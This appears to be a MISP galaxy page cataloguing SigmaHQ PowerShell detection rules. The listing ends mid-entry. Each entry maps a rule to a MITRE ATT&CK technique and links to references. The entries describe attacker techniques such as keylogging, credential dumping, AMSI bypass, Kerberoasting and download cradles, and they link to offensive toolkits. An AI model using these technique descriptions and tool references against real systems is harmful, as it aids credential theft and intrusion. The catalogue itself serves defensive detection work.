https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml

Security Software Discovery Via Powershell Script

Detects calls to "get-process" where the output is piped to a "where-object" filter to search for security solution processes. Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus

The tag is: *misp-galaxy:sigma-rules="Security Software Discovery Via Powershell Script"*

View relationships graph

Security Software Discovery Via Powershell Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 16541. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-2---security-software-discovery---powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_process_security_software_discovery.yml

Powershell Keylogging

Adversaries may log user keystrokes to intercept credentials as the user types them.

The tag is: *misp-galaxy:sigma-rules="Powershell Keylogging"*

View relationships graph

Powershell Keylogging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

Table 16542. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml

Powershell Install a DLL in System Directory

Uses PowerShell to install/copy a file into a system directory such as "System32" or "SysWOW64"

The tag is: *misp-galaxy:sigma-rules="Powershell Install a DLL in System Directory"*

View relationships graph

Powershell Install a DLL in System Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002" with estimative-language:likelihood-probability="almost-certain"

Table 16543. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml

Suspicious Connection to Remote Account

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism

The tag is: *misp-galaxy:sigma-rules="Suspicious Connection to Remote Account"*

View relationships graph

Suspicious Connection to Remote Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

Table 16544. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml

Certificate Exported Via PowerShell - ScriptBlock

Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

The tag is: *misp-galaxy:sigma-rules="Certificate Exported Via PowerShell - ScriptBlock"*

View relationships graph

Certificate Exported Via PowerShell - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 16545. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a
https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
https://learn.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_export_certificate.yml

Suspicious PowerShell Mailbox SMTP Forward Rule

Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Mailbox SMTP Forward Rule"*

Table 16546. Table References

Links
https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml

Manipulation of User Computer or Group Security Principals Across AD

Adversaries may create a domain account to maintain access to victim systems. Domain accounts

are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..

The tag is: *misp-galaxy:sigma-rules="Manipulation of User Computer or Group Security Principals Across AD"*

View relationships graph

Manipulation of User Computer or Group Security Principals Across AD has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

Table 16547. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell
https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=net-8.0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml

Potential AMSI Bypass Script Using NULL Bits

Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities

The tag is: *misp-galaxy:sigma-rules="Potential AMSI Bypass Script Using NULL Bits"*

View relationships graph

Potential AMSI Bypass Script Using NULL Bits has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16548. Table References

Links
https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_null_bits_bypass.yml

Suspicious PowerShell Download - Powershell Script

Detects suspicious PowerShell download command

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Download - Powershell Script"*

View relationships graph

Suspicious PowerShell Download - Powershell Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16549. Table References

Links
https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-8.0
https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_download.yml

PowerShell Write-EventLog Usage

Detects usage of the "Write-EventLog" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use

The tag is: *misp-galaxy:sigma-rules="PowerShell Write-EventLog Usage"*

Table 16550. Table References

Links
https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml

PowerShell Script Change Permission Via Set-Acl - PsScript

Detects PowerShell scripts set ACL to of a file or a folder

The tag is: *misp-galaxy:sigma-rules="PowerShell Script Change Permission Via Set-Acl - PsScript"*

View relationships graph

PowerShell Script Change Permission Via Set-Acl - PsScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"

Table 16551. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_acl.yml

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell"*

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16552. Table References

Links
https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml

Malicious PowerShell Commandlets - ScriptBlock

Detects Commandlet names from well-known PowerShell exploitation frameworks

The tag is: *misp-galaxy:sigma-rules="Malicious PowerShell Commandlets - ScriptBlock"*

View relationships graph

Malicious PowerShell Commandlets - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16553. Table References

Links
https://adsecurity.org/?p=2921
https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/
https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html
https://github.com/DarkCoderSc/PowerRunAsSystem/
https://github.com/calebstewart/CVE-2021-1675
https://github.com/The-Viper-One/Invoke-PowerDPAPI/
https://github.com/HarmJ0y/DAMP
https://github.com/Kevin-Robertson/Powermad
https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
https://github.com/Arno0x/DNSExfiltrator/
https://github.com/adrecon/ADRecon
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://github.com/besimorhino/powercat

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
https://github.com/adrecon/AzureADRecon
https://github.com/samratashok/nishang
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml

Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy

Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.

The tag is: *misp-galaxy:sigma-rules="Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy"*

View relationships graph

Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 16554. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy
https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml

Suspicious PowerShell WindowStyle Option

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell WindowStyle Option"*

View relationships graph

Suspicious PowerShell WindowStyle Option has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-

language:likelihood-probability="almost-certain"

Table 16555. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml

Invoke-Obfuscation Via Use MSHTA - PowerShell

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use MSHTA - PowerShell"*

View relationships graph

Invoke-Obfuscation Via Use MSHTA - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16556. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml

Change User Agents with WebRequest

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

The tag is: *misp-galaxy:sigma-rules="Change User Agents with WebRequest"*

View relationships graph

Change User Agents with WebRequest has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16557. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml

Zip A Folder With PowerShell For Staging In Temp - PowerShell Script

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: *misp-galaxy:sigma-rules="Zip A Folder With PowerShell For Staging In Temp - PowerShell Script"*

View relationships graph

Zip A Folder With PowerShell For Staging In Temp - PowerShell Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

Table 16558. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml

Windows Screen Capture with CopyFromScreen

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations

The tag is: *misp-galaxy:sigma-rules="Windows Screen Capture with CopyFromScreen"*

View relationships graph

Windows Screen Capture with CopyFromScreen has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 16559. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml

PowerShell ADRecon Execution

Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7

The tag is: *misp-galaxy:sigma-rules="PowerShell ADRecon Execution"*

View relationships graph

PowerShell ADRecon Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16560. Table References

Links
https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1
https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml

Potential COM Objects Download Cradles Usage - PS Script

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

The tag is: *misp-galaxy:sigma-rules="Potential COM Objects Download Cradles Usage - PS Script"*

View relationships graph

Potential COM Objects Download Cradles Usage - PS Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

Table 16561. Table References

Links
https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_download_com_cradles.yml

Root Certificate Installed - PowerShell

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: *misp-galaxy:sigma-rules="Root Certificate Installed - PowerShell"*

View relationships graph

Root Certificate Installed - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 16562. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml

Suspicious FromBase64String Usage On Gzip Archive - Ps Script

Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.

The tag is: *misp-galaxy:sigma-rules="Suspicious FromBase64String Usage On Gzip Archive - Ps Script"*

View relationships graph

Suspicious FromBase64String Usage On Gzip Archive - Ps Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

Table 16563. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_frombase64string_archive.yml

Active Directory Group Enumeration With Get-AdGroup

Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory

The tag is: *misp-galaxy:sigma-rules="Active Directory Group Enumeration With Get-AdGroup"*

View relationships graph

Active Directory Group Enumeration With Get-AdGroup has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

Table 16564. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adgroup.yml

Suspicious Kerberos Ticket Request via PowerShell Script - ScriptBlock

Detects PowerShell scripts that utilize native PowerShell Identity modules to request Kerberos tickets. This behavior is typically seen during a Kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.

The tag is: *misp-galaxy:sigma-rules="Suspicious Kerberos Ticket Request via PowerShell Script - ScriptBlock"*

View relationships graph

Suspicious Kerberos Ticket Request via PowerShell Script - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 16565. Table References

Links

https://learn.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8.1
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml

Malicious ShellIntel PowerShell Commandlets

Detects Commandlet names from ShellIntel exploitation scripts.

The tag is: *misp-galaxy:sigma-rules="Malicious ShellIntel PowerShell Commandlets"*

View relationships graph

Malicious ShellIntel PowerShell Commandlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16566. Table References

Links
https://github.com/ShellIntel/scripts/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml

Potential Data Exfiltration Via Audio File

Detects potential exfiltration attempt via audio file using PowerShell

The tag is: *misp-galaxy:sigma-rules="Potential Data Exfiltration Via Audio File"*

Table 16567. Table References

Links
https://github.com/gtworek/PSBits/blob/e97cbbb173b31cbc4d37244d3412de0a114dacfb/NoDLP/bin2wav.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_audio_exfiltration.yml

Powershell LocalAccount Manipulation

Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as

modifying credentials or permission groups

The tag is: *misp-galaxy:sigma-rules="Powershell LocalAccount Manipulation"*

View relationships graph

Powershell LocalAccount Manipulation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16568. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml

Powershell Suspicious Win32_PnPEntity

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.

The tag is: *misp-galaxy:sigma-rules="Powershell Suspicious Win32_PnPEntity"*

View relationships graph

Powershell Suspicious Win32_PnPEntity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

Table 16569. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml

Suspicious PowerShell Get Current User

Detects the use of PowerShell to identify the current logged user.

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Get Current User"*

View relationships graph

Suspicious PowerShell Get Current User has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 16570. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml

HackTool - Rubeus Execution - ScriptBlock

Detects the execution of the hacktool Rubeus using specific command line flags

The tag is: *misp-galaxy:sigma-rules="HackTool - Rubeus Execution - ScriptBlock"*

View relationships graph

HackTool - Rubeus Execution - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

Table 16571. Table References

Links
https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
https://github.com/GhostPack/Rubeus
https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_rubeus.yml

Extracting Information with PowerShell

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

The tag is: *misp-galaxy:sigma-rules="Extracting Information with PowerShell"*

View relationships graph

Extracting Information with PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 16572. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml

Dump Credentials from Windows Credential Manager With PowerShell

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

The tag is: *misp-galaxy:sigma-rules="Dump Credentials from Windows Credential Manager With PowerShell"*

View relationships graph

Dump Credentials from Windows Credential Manager With PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

Table 16573. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml

DirectorySearcher Powershell Exploitation

Enumerates Active Directory to determine computers that are joined to the domain

The tag is: *misp-galaxy:sigma-rules="DirectorySearcher Powershell Exploitation"*

View relationships graph

DirectorySearcher Powershell Exploitation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 16574. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml

Suspicious Get-ADReplAccount

The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

The tag is: *misp-galaxy:sigma-rules="Suspicious Get-ADReplAccount"*

View relationships graph

Suspicious Get-ADReplAccount has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 16575. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount
https://www.powershellgallery.com/packages/DSInternals
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell"*

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16576. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml

Invoke-Obfuscation Via Use Clip - Powershell

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - Powershell"*

View relationships graph

Invoke-Obfuscation Via Use Clip - Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16577. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml

Silence.EDA Detection

Detects Silence EmpireDNSAgent as described in the Group-IP report

The tag is: *misp-galaxy:sigma-rules="Silence.EDA Detection"*

View relationships graph

Silence.EDA Detection has relationships with:

